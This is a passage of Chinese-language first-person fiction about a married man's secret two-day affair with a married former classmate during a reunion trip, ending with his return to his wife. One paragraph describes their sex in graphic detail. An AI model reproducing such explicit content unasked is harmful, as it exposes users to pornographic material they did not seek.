   客厅里,小琳的手机响起,我们谁都没动。
   半个钟头过后,我打车到了约定的地点,遭到众位同学一通奚落,小琳已经
  先行开车到达了,我们相视一笑,若无其事地互致问候。
   爬山时,我一直和几位要好的兄弟走在一起,愉悦的心情,秀丽的风景,重
  逢的老友,世间所有的美好齐聚我的身边,让我对诸神充满感激之情。
   小琳自然是女生们羡慕的对象,唧唧喳喳地围着她问这问那,她的老公、她
  的豪宅、她女儿就读的幼儿园,都是她们好奇的内容。
   在山顶休息时,收到了小琳的短信:我下面肿了,可还想要…
   作为一个男人,得到如此嘉奖,夫复何求!立刻回复:晚上回去喂你。
   " 不行,今天婆婆生日,我晚上回婆婆家,你明天几点的飞机"
   "下午一点"
   " 好,我十一点送你去机场" " 不,你八点来"
   "好的——"
   "我昨晚说什么梦话了"
   " 不告诉你,那是我的秘密,一辈子保守的秘密"
   下山后,小琳直接开车回市区,她笑着挥手跟大家告别,目光扫过我的眼睛
  时停留了两秒钟,我笑着摆手,内心却忽然涌起阵阵酸楚。晚上,在KTV,同
  学们真正找回了上大学时的感觉,大家一起唱着当年的老歌,频频举杯,回味和
  那一段真挚而快乐的时光,是啊,十多年前,我们还在校园的时候,那时候的小
  琳也喜欢白色的裙子…
   回到酒店,已是夜里十一点多,我有些微醺的感觉,很想给小琳打个电话,
  却终于放下了手机,不知她是否还在婆家,也不知她是否已经安睡,还是在和我
  一样思念着对方…我朦朦胧胧地胡思乱想,不知不觉睡着了。
   一觉醒来,天刚刚有点蒙蒙亮,看了看表,才刚5点,再看手机,既没有未
  接电话,也没有信息,心中不由得有些失落。
   连续的喝酒,让我有些头痛,站起身,烧开水,沏了杯咖啡,坐在窗前吸烟,
  窗外依然灯火阑珊,红绿闪烁的霓虹灯下,不知是否正在发生和我类似的故事?
  再过6个小时,我就要离开这座城市了,离开小琳,这会是永别吗?不知道。小
  琳,这个十多年前与我若即若离的女子,直到如今嫁作贵人妇,才让我真真切切
  地体验到她最深最真的美,唉,小琳,难道你我只有这样的相逢,才能算是最美
  的故事吗?我,该问谁去呢,或许谁也说不清楚。
   寂寂无聊地闲坐了一个钟头,我下楼来到大街上闲逛,街上只有三三两两晨
  练的人,偶尔会有清扫车经过,显得有些寂静、空旷,我一直走到江边,十年过
  去了,江边的风景已经大不相同,原先的残破石堤,已经不见踪影,代之以平整
  的大理石江岸,群芳争艳的花坛,精美的铁艺栏杆和欧式路灯,唯有那一排排大
  树见证了这一切的沧桑,此刻它们如此的安静,如此的悠然自乐,江面上没什么
  波浪,江水平缓地流淌着,无声无息,只有船儿经过时才会荡起阵阵涟漪。
   我的焦躁和失落慢慢溶化在了江水中,心境渐渐舒缓下来,阳光逐渐照亮江
  面,看了看表已经是7点半,我才忽然想起自己应该马上回酒店了。
   刚到酒店外,手机响起,是小琳。
   " 我在你房门外,你还没睡醒?咦?你在外面?" 我告诉小琳稍等我一会儿,
  快步走进大堂。
   小琳坐在电梯间的沙发上,身着淡紫色带碎花的旗袍,显得清纯可爱,又雍
  容华贵,我的心不由得又狂跳起来。
   整整三个钟头,我和小琳一直在缠绵,我们重新尝试了昨天用过的所有的性
  爱姿势,床上、沙发、浴室、窗前都留下了我们疯狂性爱的印记,每次射精过后
  小琳都会主动为我把龟头舔舐得干干净净,也让我很快重振雄风,房间到处浸透
  着她的阴液和我的精液,一汪汪,一片片。
   十点半钟,小琳和我准时出现在大堂,来送行的同学随后也到了,大家客客
  气气地寒暄道别,直到十一点才散去。
   小琳开着自己那辆白色的宝马车送我去机场,一路上我们什么也没说。我转
  身进安检时,小琳忽然叫了我一声:" 杨子" ,我回头,看见小琳略带忧伤的微
  笑,眼里却泪光盈盈," 保重…" 说完,她挥挥手,转身离去。
   飞机平稳地飞行在三万英尺的高空,我打开手机,翻看她之前发给我的信息,
  然后逐一删去,长长地呼了口气,隐隐的失落又逐渐聚上心头。不经意间,飞机
  忽然剧烈颠簸起来,我几乎被弹离了座椅,旅客们的尖叫声,行李碰撞的咚咚声,
  不绝于耳,那一刻我真的怀疑飞机是否会坠毁,但内心却没有丝毫的恐惧,颠簸
  持续了将近一分钟后平息下来,我的心情反而一下轻松了,忧伤和失落都已经在
  刚才的颠簸中摔得粉碎。
   走出首都机场的关闸,妻已经在那里等候许久了,我搂过妻子,在她额头轻
  吻了一下,微笑着说:" 亲爱的,我回来了" ,妻快乐地点点头。
   妻子开车飞驰在高速路上,我打开手机,看到了小琳发来的信息:" 很高兴
  有机会相聚,你使我重新认识了自己,认识了自己的生活,谢谢,祝幸福,替我
  问候你的妻子" 我微笑着回了句:" 我也是,你比十年前更值得爱。好好保重"
  然后删除了信息。
   妻回头看了看我"还没贫够呢"
   我笑了,说:" 他们都成腕儿成角儿了,在安慰我呢". "甭听他们的,只要
  咱们过得好,不眼馋他们家财万贯,妻妾成群" 妻子的快乐溢于言表,而我却禁
  不住有些惭愧。
   回北京三年多了,一直再没收到小琳的消息,我也没敢主动和她联系,这一
  页既然翻过去了,就别再翻回来看了吧。
   我知道小琳会和我一样珍藏那两天在一起的分分秒秒,也会珍惜现在每一天
  的生活。生活有时候很慷慨,有时候也很残酷,把握住上天的每一个恩赐,或许
  才是认真生活最最重要真谛。